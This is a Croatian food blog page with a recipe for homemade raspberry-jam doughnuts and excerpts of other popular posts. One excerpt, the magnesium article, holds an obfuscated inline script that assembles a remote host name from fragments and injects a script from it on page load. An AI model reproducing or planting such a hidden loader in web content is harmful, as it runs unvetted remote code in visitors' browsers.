DOMAĆE KRAFNE S PUNJENJEM OD MALINE


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Domaće krafne s punjenjem od maline 

https://jolie.hr/gastro/recepti/najmeksi-zalogaji-ove-veljace-uzivamo-u-krafnama-punjenima-malinama/

Krafne, te kraljice karnevalskog perioda i veljače uskoro ćemo kupovati na svakom ćošku – od lokalnih, starinskih slastičarnica, preko craft pekarnica pa sve do supermarketa. A zašto ih ove godine ne bismo i sami kod kuće napravili? Istina je, izrada krafni koje su savršeno meke, izdašne i taman pržene traži nešto truda i vremena, ali kada u njih zagrizete, shvatit ćete da sav trud itekako isplati.




Domaće krafne s punjenjem od maline 


Sastojci (za otprilike 12–14 krafni):

Za tijesto:

  • 500 g glatkog pšeničnog brašna
  • 250 ml toplog mlijeka
  • 20 g svježeg kvasca (ili 7 g suhog)
  • 80 g šećera
  • 2 žumanjka
  • 60 g maslaca (otopljenog i mlakog)
  • prstohvat soli
  • naribana korica 1 limuna
  • 1 žlica ruma (po želji)

Za punjenje i završetak:

  • gušći džem ili marmelada od maline
  • ulje ili svinjska mast za prženje
  • šećer u prahu za posipanje



Priprema:

  • U malo toplog mlijeka otopite žlicu šećera i dodajte kvasac. Ostavite 10 minuta dok se ne zapjeni.
  • U većoj zdjeli pomiješajte brašno, sol i koricu limuna. Dodajte žumanjke, ostatak šećera, rum, otopljeni maslac, kvasac i preostalo mlijeko. Mijesite dok ne dobijete glatko, elastično tijesto koje se ne lijepi za ruke (oko 10 minuta).
  • Tijesto oblikujte u kuglu, lagano pobrašnite, pokrijte krpom i ostavite na toplom mjestu oko 60 minuta, dok se ne udvostruči.
  • Tijesto razvaljajte na debljinu oko 1,5 cm. Čašom izrežite krugove, posložite ih na pobrašnjenu podlogu, pokrijte i ostavite još 20–30 minuta da ponovno narastu. U dubokoj posudi zagrijte ulje ili mast na srednju temperaturu (oko 170 °C). Krafne pržite poklopljene s jedne strane dok ne dobiju zlatni prsten, zatim otklopite, okrenite i dovršite prženje. Vadite ih na papirnate ubruse.
  • Malo ohlađene krafne punite marmeladom od maline s pomoću slastičarske vrećice s uskim nastavkom. Obilno pospite šećerom u prahu i poslužite još mlake, jer tada su najbolje.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

LINZER PITA

Slika
Linzer pita  Slažemo se - blagdanski stol kao da nije potpun bez linzera. Ti prhki, nježno aromatični keksići jedni su od najstarijih europskih slastica koje su se zahvaljujući svojoj jednostavnosti i savršenom spoju prhkog tijesta i voćnog pekmeza održale sve do danas. Linzer pita  Sastojci: za tijesto: 350 g glatkog brašna 250 g maslaca 100 g šećera 2 vanilin šećera 1 jaje dodatno: pekmez ili marmelada (mi smo koristili pekmez od brusnice) šećer u prahu Priprema: Pobrinite se da su vam svi sastojci hladni, po mogućnosti i brašno. Od brašna, maslaca, šećera i jaja ručno umijesite tijesto. Podijelite ga u dva dijela. Zamotajte ga u prozirnu foliju i pustite da se jedan sat hladi u hladnjaku. Nakon toga razvaljate oba dijela u kvadratni oblik. Prvi dio prebacite u pleh, površinu bockajte vilicom. Preko cijelog donjeg dijela obilno stavite pekmez. Drugi dio tijesta izrežite na trake i dijagonalno složite preko pekmeza. Pecite oko 25 minuta u pećnici zagrijanoj na 180...
Pročitajte više